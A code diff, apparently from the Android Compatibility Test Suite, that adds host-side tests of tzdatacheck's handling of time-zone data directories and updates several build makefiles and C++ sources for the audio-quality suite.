+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // No {dataDir}/current exists.
+    public void testNoCurrentDataDir() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Deliberately not creating anything on host in the data dir here, leaving the empty
+        // structure.
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+    }
+
+    // {dataDir}/current exists but it is a file.
+    public void testCurrentDataDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(2, runTzDataCheckOnDevice());
+
+        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+        // than delete.
+        assertDevicePathExists(dataCurrentDir);
+        assertDevicePathIsFile(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but is missing the distro version file.
+    public void testMissingDataDirDistroVersionFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] distroWithoutAVersionFileBytes = createValidDistroBuilder()
+                .clearVersionForTests()
+                .buildUnvalidatedBytes();
+        unpackOnHost(dataCurrentDir, distroWithoutAVersionFileBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(3, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version file is short.
+    public void testShortDataDirDistroVersionFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+        // Replace the distro version file with a short file.
+        Path distroVersionFile =
+                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+        assertHostFileExists(distroVersionFile);
+        Files.write(distroVersionFile, new byte[3]);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(3, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists and the distro version file is long enough, but contains junk.
+    public void testCorruptDistroVersionFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        unpackOnHost(dataCurrentDir, createValidDistroBuilder().buildBytes());
+
+        // Replace the distro version file with junk.
+        Path distroVersionFile =
+                dataCurrentDir.hostPath.resolve(TimeZoneDistro.DISTRO_VERSION_FILE_NAME);
+        assertHostFileExists(distroVersionFile);
+
+        int fileLength = (int) Files.size(distroVersionFile);
+        byte[] junkArray = new byte[fileLength]; // all zeros
+        Files.write(distroVersionFile, junkArray);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(4, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is incorrect.
+    public void testInvalidMajorDistroVersion_older() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion oldMajorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION - 1, 1, VALID_RULES_VERSION, 1);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(oldMajorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(5, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is incorrect.
+    public void testInvalidMajorDistroVersion_newer() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion newMajorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION + 1,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                VALID_RULES_VERSION, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(newMajorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(5, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is incorrect.
+    public void testInvalidMinorDistroVersion_older() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion oldMinorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION - 1,
+                VALID_RULES_VERSION, 1);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(oldMinorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(5, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was deleted.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/current exists but the distro version is newer (which is accepted because it should
+    // be backwards compatible).
+    public void testValidMinorDistroVersion_newer() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion newMajorDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION + 1,
+                VALID_RULES_VERSION, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(newMajorDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/current is valid but the tzdata file in /system is missing.
+    public void testSystemTzDataFileMissing() throws Exception {
+        // Deliberately not writing anything in /system here.
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, validDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(6, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+    }
+
+    // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
+    public void testSystemTzDataFileCorrupt() throws Exception {
+        // Set up the /system directory structure on host.
+        byte[] invalidTzDataBytes = new byte[20];
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, validDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(7, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
+    }
+
+    // {dataDir}/current is valid and the tzdata file in /system is older.
+    public void testSystemTzRulesOlder() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        // Newer than RULES_VERSION_ONE in /system
+        final String distroRulesVersion = RULES_VERSION_TWO;
+        DistroVersion distroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, distroRulesVersion, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(distroVersion)
+                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
+    public void testSystemTzDataSame() throws Exception {
+        // Set up the /system directory structure on host.
+        final String systemRulesVersion = VALID_RULES_VERSION;
+        createSystemTzDataFileOnHost(systemRulesVersion);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        DistroVersion distroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION, systemRulesVersion, VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(distroVersion)
+                .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the current data directory was not touched.
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/current is valid and the tzdata file in /system is the newer.
+    public void testSystemTzDataNewer() throws Exception {
+        // Set up the /system directory structure on host.
+        String systemRulesVersion = RULES_VERSION_TWO;
+        createSystemTzDataFileOnHost(systemRulesVersion);
+
+        // Set up the /data directory structure on host.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
+        DistroVersion distroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                distroRulesVersion,
+                VALID_REVISION);
+        byte[] distroBytes = createValidDistroBuilder()
+                .setDistroVersion(distroVersion)
+                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // It is important the dataCurrentDir is deleted in this case - this test case is the main
+        // reason tzdatacheck exists.
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
+        byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
+        Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+    }
+
+    private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
+        createHostDirectory(stagedDir);
+
+        PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
+        // Create an empty file.
+        new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
+    }
+
+    private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
+        createHostDirectory(path);
+        new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
+    }
+
+    private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
+        String distroRulesVersion = VALID_RULES_VERSION;
+        DistroVersion validDistroVersion =
+                new DistroVersion(
+                        DistroVersion.CURRENT_FORMAT_MAJOR_VERSION,
+                        DistroVersion.CURRENT_FORMAT_MINOR_VERSION,
+                        distroRulesVersion, VALID_REVISION);
+        return new TimeZoneDistroBuilder()
+                .setDistroVersion(validDistroVersion)
+                .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
+                .setIcuDataFile(new byte[10]);
+    }
+
+    private static byte[] createValidTzDataBytes(String rulesVersion) {
+        return new ZoneInfoTestHelper.TzDataBuilder()
+                .initializeToValid()
+                .setHeaderMagic("tzdata" + rulesVersion)
+                .build();
+    }
+
+    private int runTzDataCheckOnDevice() throws Exception {
+        return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
+    }
+
+    private int runTzDataCheckWithArgs(String[] args) throws Exception {
+        String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
+        return executeCommandOnDeviceWithResultCode(command).statusCode;
+    }
+
+    private static String createTzDataCheckCommand(String rootDir, String[] args) {
+        StringJoiner joiner = new StringJoiner(" ");
+        String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
+        joiner.add(tzDataCheckCommand);
+        for (String arg : args) {
+            joiner.add(arg);
+        }
+        return joiner.toString();
+    }
+
+    private static void assertHostFileExists(Path path) {
+        assertTrue(Files.exists(path));
+    }
+
+    private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand(command);
+    }
+
+    private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
+        executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
+    }
+
+    private static void createHostDirectory(PathPair dir) throws Exception {
+        Files.createDirectory(dir.hostPath);
+    }
+
+    private static class ShellResult {
+        final String output;
+        final int statusCode;
+
+        private ShellResult(String output, int statusCode) {
+            this.output = output;
+            this.statusCode = statusCode;
+        }
+    }
+
+    private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
+        // A file to hold the script we're going to create.
+        PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
+        // A file to hold the output of the script.
+        PathPair scriptOut = mTestRootDir.createSubPath("script.out");
+
+        // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
+        // and printing the result code.
+        String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
+
+        // Parse and return the result.
+        try {
+            Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
+
+            // Push the script to the device.
+            pushFile(scriptFile);
+
+            // Execute the script using "sh".
+            String execCommandUnderShell =
+                    mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
+            String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
+
+            // Pull back scriptOut to the host and read the content.
+            pullFile(scriptOut);
+            byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
+            String output = new String(outputBytes, StandardCharsets.US_ASCII);
+
+            int resultCode;
+            try {
+                resultCode = Integer.parseInt(resultCodeString);
+            } catch (NumberFormatException e) {
+                fail("Command: " + command
+                        + " returned a non-integer: \"" + resultCodeString + "\""
+                        + ", output=\"" + output + "\"");
+                return null;
+            }
+            return new ShellResult(output, resultCode);
+        } finally {
+            deleteDeviceFile(scriptFile, false /* failOnError */);
+            deleteDeviceFile(scriptOut, false /* failOnError */);
+            deleteHostFile(scriptFile, false /* failOnError */);
+            deleteHostFile(scriptOut, false /* failOnError */);
+        }
+    }
+
+    private void pushHostTestDirToDevice() throws Exception {
+        assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
+    }
+
+    private void pullFile(PathPair file) throws DeviceNotAvailableException {
+        assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
+                getDevice().pullFile(file.devicePath, file.hostFile()));
+    }
+
+    private void pushFile(PathPair file) throws DeviceNotAvailableException {
+        assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
+                getDevice().pushFile(file.hostFile(), file.devicePath));
+    }
+
+    private void deleteHostFile(PathPair file, boolean failOnError) {
+        try {
+            Files.deleteIfExists(file.hostPath);
+        } catch (IOException e) {
+            if (failOnError) {
+                fail(e);
+            }
+        }
+    }
+
+    private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
+            throws DeviceNotAvailableException {
+        String deviceDir = dir.devicePath;
+        try {
+            executeCommandOnDeviceRaw("rm -r " + deviceDir);
+        } catch (Exception e) {
+            if (failOnError) {
+                throw deviceFail(e);
+            }
+        }
+    }
+
+    private void deleteDeviceFile(PathPair file, boolean failOnError)
+            throws DeviceNotAvailableException {
+        try {
+            assertDevicePathIsFile(file);
+            executeCommandOnDeviceRaw("rm " + file.devicePath);
+        } catch (Exception e) {
+            if (failOnError) {
+                throw deviceFail(e);
+            }
+        }
+    }
+
+    private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
+        Path hostPath = dir.hostPath;
+        if (Files.exists(hostPath)) {
+            Consumer<Path> pathConsumer = file -> {
+                try {
+                    Files.delete(file);
+                } catch (Exception e) {
+                    if (failOnError) {
+                        fail(e);
+                    }
+                }
+            };
+
+            try {
+                Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
+            } catch (IOException e) {
+                fail(e);
+            }
+        }
+    }
+
+    private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
+        assertTrue(getDevice().doesFileExist(path.devicePath));
+    }
+
+    private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
+            throws Exception {
+        // Pull back just the version file and compare it.
+        File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
+        try {
+            String remoteVersionFile = distroPath.devicePath + "/"
+                    + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
+            assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
+                    getDevice().pullFile(remoteVersionFile, localFile));
+
+            byte[] bytes = Files.readAllBytes(localFile.toPath());
+            assertArrayEquals(bytes,
+                    new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
+        } finally {
+            localFile.delete();
+        }
+    }
+
+    private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
+        assertFalse(getDevice().doesFileExist(path.devicePath));
+    }
+
+    private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
+        // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
+        // requires that the user has rights to list all files beneath each and every directory in
+        // the path. That is not the case for the shell user and the /data and /data/local
+        // directories. http://b/35753041.
+        String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
+        assertTrue(path.devicePath + " not a file. Received: " + output,
+                output.startsWith("regular") && output.endsWith("file\n"));
+    }
+
+    private static DeviceNotAvailableException deviceFail(Exception e)
+            throws DeviceNotAvailableException {
+        if (e instanceof DeviceNotAvailableException) {
+            throw (DeviceNotAvailableException) e;
+        }
+        fail(e);
+        return null;
+    }
+
+    private static void fail(Exception e) {
+        e.printStackTrace();
+        fail(e.getMessage());
+    }
+
+    /** A path that has equivalents on both host and device. */
+    private static class PathPair {
+        private final Path hostPath;
+        private final String devicePath;
+
+        PathPair(Path hostPath, String devicePath) {
+            this.hostPath = hostPath;
+            this.devicePath = devicePath;
+        }
+
+        File hostFile() {
+            return hostPath.toFile();
+        }
+
+        PathPair createSubPath(String s) {
+            return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
+        }
+    }
+}
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index f71c7f4..ec15199 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/libs/deviceutil/Android.mk b/libs/deviceutil/Android.mk
index bb039ca..db5496d 100644
--- a/libs/deviceutil/Android.mk
+++ b/libs/deviceutil/Android.mk
@@ -16,13 +16,11 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../commonutil/src)
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util legacy-android-test
 
 LOCAL_MODULE_TAGS := optional
 
diff --git a/libs/deviceutil/jni/Android.mk b/libs/deviceutil/jni/Android.mk
index e413250..12b41e1 100644
--- a/libs/deviceutil/jni/Android.mk
+++ b/libs/deviceutil/jni/Android.mk
@@ -30,4 +30,6 @@
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
 LOCAL_SDK_VERSION := 19
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/libs/deviceutillegacy/Android.mk b/libs/deviceutillegacy/Android.mk
index 852ce38..1e382f5 100644
--- a/libs/deviceutillegacy/Android.mk
+++ b/libs/deviceutillegacy/Android.mk
@@ -16,7 +16,7 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil
+LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil junit legacy-android-test
 
 LOCAL_SRC_FILES := \
     $(call all-java-files-under, src)
diff --git a/suite/audio_quality/Android.mk b/suite/audio_quality/Android.mk
index 491596e..c3404d2 100644
--- a/suite/audio_quality/Android.mk
+++ b/suite/audio_quality/Android.mk
@@ -19,16 +19,19 @@
 
 CTS_AUDIO_TOP:= $(call my-dir)
 
+include $(call all-makefiles-under,$(CTS_AUDIO_TOP))
+
 CTS_AUDIO_INSTALL_DIR := $(HOST_OUT)/cts-audio-quality/android-cts-audio-quality
 CTS_AUDIO_QUALITY_ZIP := $(HOST_OUT)/cts-audio-quality/android-cts-audio-quality.zip
 
 cts_audio_quality_client_apk := $(TARGET_OUT_DATA_APPS)/CtsAudioClient/CtsAudioClient.apk
-cts_audio_quality_host_bins := $(HOST_OUT)/bin/cts_audio_quality_test $(HOST_OUT)/bin/cts_audio_quality
+cts_audio_quality_host_bins := $(ALL_MODULES.cts_audio_quality_test.INSTALLED) $(ALL_MODULES.cts_audio_quality.INSTALLED)
 $(CTS_AUDIO_QUALITY_ZIP): PRIVATE_CLIENT_APK := $(cts_audio_quality_client_apk)
 $(CTS_AUDIO_QUALITY_ZIP): PRIVATE_HOST_BINS := $(cts_audio_quality_host_bins)
 $(CTS_AUDIO_QUALITY_ZIP): PRIVATE_TEST_DESC := $(CTS_AUDIO_TOP)/test_description
 $(CTS_AUDIO_QUALITY_ZIP): $(cts_audio_quality_client_apk) $(cts_audio_quality_host_bins) \
     $(CTS_AUDIO_TOP)/test_description | $(ACP)
+	$(hide) rm -rf $@ $(CTS_AUDIO_INSTALL_DIR)
 	$(hide) mkdir -p $(CTS_AUDIO_INSTALL_DIR)/client
 	$(hide) $(ACP) -fp $(PRIVATE_CLIENT_APK) \
         $(CTS_AUDIO_INSTALL_DIR)/client
@@ -51,6 +54,4 @@
 $(call dist-for-goals, cts, $(CTS_AUDIO_QUALITY_ZIP))
 endif # cts
 
-include $(call all-subdir-makefiles)
-
 endif # linux
diff --git a/suite/audio_quality/executable/Android.mk b/suite/audio_quality/executable/Android.mk
index 8049596..b22d542 100644
--- a/suite/audio_quality/executable/Android.mk
+++ b/suite/audio_quality/executable/Android.mk
@@ -17,12 +17,12 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
-LOCAL_C_INCLUDES += $(LOCAL_PATH)/../lib/include  external/tinyalsa/include/  libcore/include \
-	$(LOCAL_PATH)/../lib/src
-LOCAL_STATIC_LIBRARIES += libutils liblog libcutils libtinyalsa libtinyxml
+LOCAL_C_INCLUDES += $(LOCAL_PATH)/../lib/include $(LOCAL_PATH)/../lib/src
+LOCAL_STATIC_LIBRARIES += libutils liblog libcutils libtinyalsa libtinyxml2
 LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
 LOCAL_CFLAGS:= -g -fno-exceptions
-LOCAL_LDFLAGS:= -g -lrt -ldl -lstdc++ -lm -fno-exceptions -lpthread
+LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
+LOCAL_CXX_STL := libc++_static
 LOCAL_MODULE_HOST_OS := linux
 LOCAL_MODULE:= cts_audio_quality
 include $(BUILD_HOST_EXECUTABLE)
diff --git a/suite/audio_quality/executable/src/main.cpp b/suite/audio_quality/executable/src/main.cpp
index 66d90cc..0e969d1 100644
--- a/suite/audio_quality/executable/src/main.cpp
+++ b/suite/audio_quality/executable/src/main.cpp
@@ -18,7 +18,7 @@
 
 #include <utils/String8.h>
 
-#include <UniquePtr.h>
+#include <memory>
 
 #include "GenericFactory.h"
 #include "Log.h"
@@ -90,7 +90,7 @@
         return 1;
     }
 
-    UniquePtr<CleanupStatics> staticStuffs(new CleanupStatics());
+    std::unique_ptr<CleanupStatics> staticStuffs(new CleanupStatics());
     if (Settings::Instance() == NULL) {
         fprintf(stderr, "caanot create Settings");
         return 1;
@@ -130,7 +130,7 @@
     Settings::Instance()->addSetting(Settings::EDEVICE_INFO, deviceInfo);
 
     ModelBuilder modelBuilder;
-    UniquePtr<TaskGeneric> topTask(modelBuilder.parseTestDescriptionXml(xmlFile));
+    std::unique_ptr<TaskGeneric> topTask(modelBuilder.parseTestDescriptionXml(xmlFile));
     if (topTask.get() == NULL) {
         LOGE("Parsing of %x failed", xmlFile.string());
         return 1;
diff --git a/suite/audio_quality/lib/Android.mk b/suite/audio_quality/lib/Android.mk
index d4aaf84..2b3c22a 100644
--- a/suite/audio_quality/lib/Android.mk
+++ b/suite/audio_quality/lib/Android.mk
@@ -17,10 +17,9 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
-LOCAL_C_INCLUDES += $(LOCAL_PATH)/include $(LOCAL_PATH)/src /usr/include/ \
-	external/tinyalsa/include/ external/tinyxml/ libcore/include
-LOCAL_STATIC_LIBRARIES += libutils liblog libtinyalsa libcutils libtinyxml
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_C_INCLUDES += $(LOCAL_PATH)/include $(LOCAL_PATH)/src
+LOCAL_STATIC_LIBRARIES += libutils liblog libtinyalsa libcutils libtinyxml2
+LOCAL_CFLAGS:= -g -fno-exceptions -Wno-unused-parameter
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions
 LOCAL_MODULE_HOST_OS := linux
 LOCAL_MODULE:= libcts_audio_quality
diff --git a/suite/audio_quality/lib/include/GenericFactory.h b/suite/audio_quality/lib/include/GenericFactory.h
index 9f74b7f..9dc9c02 100644
--- a/suite/audio_quality/lib/include/GenericFactory.h
+++ b/suite/audio_quality/lib/include/GenericFactory.h
@@ -26,7 +26,7 @@
  */
 class GenericFactory {
 public:
-
+    virtual ~GenericFactory();
     virtual ClientInterface* createClientInterface();
     virtual TaskGeneric* createTask(TaskGeneric::TaskType type);
 };
diff --git a/suite/audio_quality/lib/include/Semaphore.h b/suite/audio_quality/lib/include/Semaphore.h
index 3fdcc75..c4c3e88 100644
--- a/suite/audio_quality/lib/include/Semaphore.h
+++ b/suite/audio_quality/lib/include/Semaphore.h
@@ -27,7 +27,7 @@
  */
 class Semaphore {
 public:
-    Semaphore(int count = 0);
+    explicit Semaphore(int count = 0);
 
     ~Semaphore();
 
